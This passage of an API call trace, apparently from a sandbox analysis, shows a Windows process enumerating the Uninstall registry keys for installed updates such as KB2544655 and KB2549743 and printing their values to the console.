lpData=0x0, lpcbData=0x0) returned 0x0 [0151.102] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.103] GetProcessHeap () returned 0x3c0000 [0151.103] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.103] GetProcessHeap () returned 0x3c0000 [0151.103] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.103] GetProcessHeap () returned 0x3c0000 [0151.103] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.103] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2544655", pcbData=0x29f780*=0x14) returned 0x0 [0151.103] __iob_func () returned 0x7fefd702a80 [0151.103] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.103] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.103] _fileno (_File=0x7fefd702ab0) returned 1 [0151.103] _errno () returned 0x204bb0 [0151.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.103] _errno () returned 0x204bb0 [0151.103] GetFileType (hFile=0x50) returned 0x1 [0151.103] lstrlenW (lpString=" ") returned 4 [0151.103] GetConsoleOutputCP () returned 0x1b5 [0151.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.103] GetConsoleOutputCP () returned 0x1b5 [0151.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.103] lstrlenW (lpString="") returned 0 [0151.103] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.103] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.103] lstrlenW (lpString="(Default)") returned 9 [0151.103] __iob_func () returned 0x7fefd702a80 [0151.103] _fileno (_File=0x7fefd702ab0) returned 1 [0151.103] _errno () returned 0x204bb0 [0151.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.104] _errno () returned 0x204bb0 [0151.104] GetFileType (hFile=0x50) returned 0x1 [0151.104] lstrlenW (lpString="(Default)") returned 9 [0151.104] GetConsoleOutputCP () returned 0x1b5 [0151.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.104] GetConsoleOutputCP () returned 0x1b5 [0151.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.104] __iob_func () returned 0x7fefd702a80 [0151.104] _fileno (_File=0x7fefd702ab0) returned 1 [0151.104] _errno () returned 0x204bb0 [0151.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.104] _errno () returned 0x204bb0 [0151.104] GetFileType (hFile=0x50) returned 0x1 [0151.104] lstrlenW (lpString=" ") returned 4 [0151.104] GetConsoleOutputCP () returned 0x1b5 [0151.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.104] GetConsoleOutputCP () returned 0x1b5 [0151.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.105] __iob_func () returned 0x7fefd702a80 [0151.105] _fileno (_File=0x7fefd702ab0) returned 1 [0151.105] _errno () returned 0x204bb0 [0151.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.105] _errno () returned 0x204bb0 [0151.105] GetFileType (hFile=0x50) returned 0x1 [0151.105] lstrlenW (lpString="REG_SZ") returned 6 [0151.105] GetConsoleOutputCP () returned 0x1b5 [0151.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.105] GetConsoleOutputCP () returned 0x1b5 [0151.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.105] __iob_func () returned 0x7fefd702a80 [0151.105] _fileno (_File=0x7fefd702ab0) returned 1 [0151.105] _errno () returned 0x204bb0 [0151.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.105] _errno () returned 0x204bb0 [0151.105] GetFileType (hFile=0x50) returned 0x1 [0151.105] lstrlenW (lpString=" ") returned 4 [0151.105] GetConsoleOutputCP () returned 0x1b5 [0151.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.106] GetConsoleOutputCP () returned 0x1b5 [0151.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.106] __iob_func () returned 0x7fefd702a80 [0151.106] _fileno (_File=0x7fefd702ab0) returned 1 [0151.106] _errno () returned 0x204bb0 [0151.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.106] _errno () returned 0x204bb0 [0151.106] GetFileType (hFile=0x50) returned 0x1 [0151.106] lstrlenW (lpString="KB2544655") returned 9 [0151.106] GetConsoleOutputCP () returned 0x1b5 [0151.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2544655", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.106] GetConsoleOutputCP () returned 0x1b5 [0151.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2544655", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2544655", lpUsedDefaultChar=0x0) returned 9 [0151.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.106] __iob_func () returned 0x7fefd702a80 [0151.106] _fileno (_File=0x7fefd702ab0) returned 1 [0151.106] _errno () returned 0x204bb0 [0151.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.106] _errno () returned 0x204bb0 [0151.106] GetFileType (hFile=0x50) returned 0x1 [0151.107] lstrlenW (lpString="\n") returned 1 [0151.107] GetConsoleOutputCP () returned 0x1b5 [0151.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.107] GetConsoleOutputCP () returned 0x1b5 [0151.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.107] GetProcessHeap () returned 0x3c0000 [0151.107] GetProcessHeap () returned 0x3c0000 [0151.107] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.107] GetProcessHeap () returned 0x3c0000 [0151.107] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.107] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.107] __iob_func () returned 0x7fefd702a80 [0151.107] _fileno (_File=0x7fefd702ab0) returned 1 [0151.107] _errno () returned 0x204bb0 [0151.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.107] _errno () returned 0x204bb0 [0151.107] GetFileType (hFile=0x50) returned 0x1 [0151.107] lstrlenW (lpString="\n") returned 1 [0151.107] GetConsoleOutputCP () returned 0x1b5 [0151.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.107] GetConsoleOutputCP () returned 0x1b5 [0151.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.108] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.108] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.108] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.108] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 131 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.108] GetProcessHeap () returned 0x3c0000 [0151.108] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.109] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.109] GetProcessHeap () returned 0x3c0000 [0151.109] GetProcessHeap () returned 0x3c0000 [0151.109] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.109] GetProcessHeap () returned 0x3c0000 [0151.109] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0151.109] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.109] RegCloseKey (hKey=0x5c) returned 0x0 [0151.109] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x2a, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.109] __iob_func () returned 0x7fefd702a80 [0151.109] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.109] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\n") returned 132 [0151.109] _fileno (_File=0x7fefd702ab0) returned 1 [0151.109] _errno () returned 0x204bb0 [0151.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.109] _errno () returned 0x204bb0 [0151.109] GetFileType (hFile=0x50) returned 0x1 [0151.110] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\n") returned 132 [0151.110] GetConsoleOutputCP () returned 0x1b5 [0151.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.110] GetConsoleOutputCP () returned 0x1b5 [0151.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743\n", lpUsedDefaultChar=0x0) returned 132 [0151.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.110] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.110] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.110] GetProcessHeap () returned 0x3c0000 [0151.110] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.110] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.110] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0151.110] GetProcessHeap () returned 0x3c0000 [0151.110] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0151.110] GetProcessHeap () returned 0x3c0000 [0151.110] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.110] GetProcessHeap () returned 0x3c0000 [0151.110] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0151.110] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2549743", pcbData=0x29f780*=0x14) returned 0x0 [0151.110] __iob_func () returned 0x7fefd702a80 [0151.110] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.111] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.111] _fileno (_File=0x7fefd702ab0) returned 1 [0151.111] _errno () returned 0x204bb0 [0151.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.111] _errno () returned 0x204bb0 [0151.111] GetFileType (hFile=0x50) returned 0x1 [0151.111] lstrlenW (lpString=" ") returned 4 [0151.111] GetConsoleOutputCP () returned 0x1b5 [0151.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.111] GetConsoleOutputCP () returned 0x1b5 [0151.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.111] lstrlenW (lpString="") returned 0 [0151.111] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.111] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0151.111] lstrlenW (lpString="(Default)") returned 9 [0151.111] __iob_func () returned 0x7fefd702a80 [0151.111] _fileno (_File=0x7fefd702ab0) returned 1 [0151.111] _errno () returned 0x204bb0 [0151.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.111] _errno () returned 0x204bb0 [0151.111] GetFileType (hFile=0x50) returned 0x1 [0151.111] lstrlenW (lpString="(Default)") returned 9 [0151.111] GetConsoleOutputCP () returned 0x1b5 [0151.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.112] GetConsoleOutputCP () returned 0x1b5 [0151.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0151.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.112] __iob_func () returned 0x7fefd702a80 [0151.112] _fileno (_File=0x7fefd702ab0) returned 1 [0151.112] _errno () returned 0x204bb0 [0151.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.112] _errno () returned 0x204bb0 [0151.112] GetFileType (hFile=0x50) returned 0x1 [0151.112] lstrlenW (lpString=" ") returned 4 [0151.112] GetConsoleOutputCP () returned 0x1b5 [0151.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.112] GetConsoleOutputCP () returned 0x1b5 [0151.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.112] __iob_func () returned 0x7fefd702a80 [0151.112] _fileno (_File=0x7fefd702ab0) returned 1 [0151.112] _errno () returned 0x204bb0 [0151.112] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.112] _errno () returned 0x204bb0 [0151.112] GetFileType (hFile=0x50) returned 0x1 [0151.112] lstrlenW (lpString="REG_SZ") returned 6 [0151.112] GetConsoleOutputCP () returned 0x1b5 [0151.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.113] GetConsoleOutputCP () returned 0x1b5 [0151.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.113] __iob_func () returned 0x7fefd702a80 [0151.113] _fileno (_File=0x7fefd702ab0) returned 1 [0151.113] _errno () returned 0x204bb0 [0151.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.113] _errno () returned 0x204bb0 [0151.113] GetFileType (hFile=0x50) returned 0x1 [0151.113] lstrlenW (lpString=" ") returned 4 [0151.113] GetConsoleOutputCP () returned 0x1b5 [0151.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.113] GetConsoleOutputCP () returned 0x1b5 [0151.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.113] __iob_func () returned 0x7fefd702a80 [0151.113] _fileno (_File=0x7fefd702ab0) returned 1 [0151.114] _errno () returned 0x204bb0 [0151.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.114] _errno () returned 0x204bb0 [0151.114] GetFileType (hFile=0x50) returned 0x1 [0151.114] lstrlenW (lpString="KB2549743") returned 9 [0151.114] GetConsoleOutputCP () returned 0x1b5 [0151.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2549743", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.114] GetConsoleOutputCP () returned 0x1b5 [0151.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2549743", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2549743", lpUsedDefaultChar=0x0) returned 9 [0151.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.114] __iob_func () returned 0x7fefd702a80 [0151.114] _fileno (_File=0x7fefd702ab0) returned 1 [0151.114] _errno () returned 0x204bb0 [0151.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.114] _errno () returned 0x204bb0 [0151.114] GetFileType (hFile=0x50) returned 0x1 [0151.114] lstrlenW (lpString="\n") returned 1 [0151.114] GetConsoleOutputCP () returned 0x1b5 [0151.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.114] 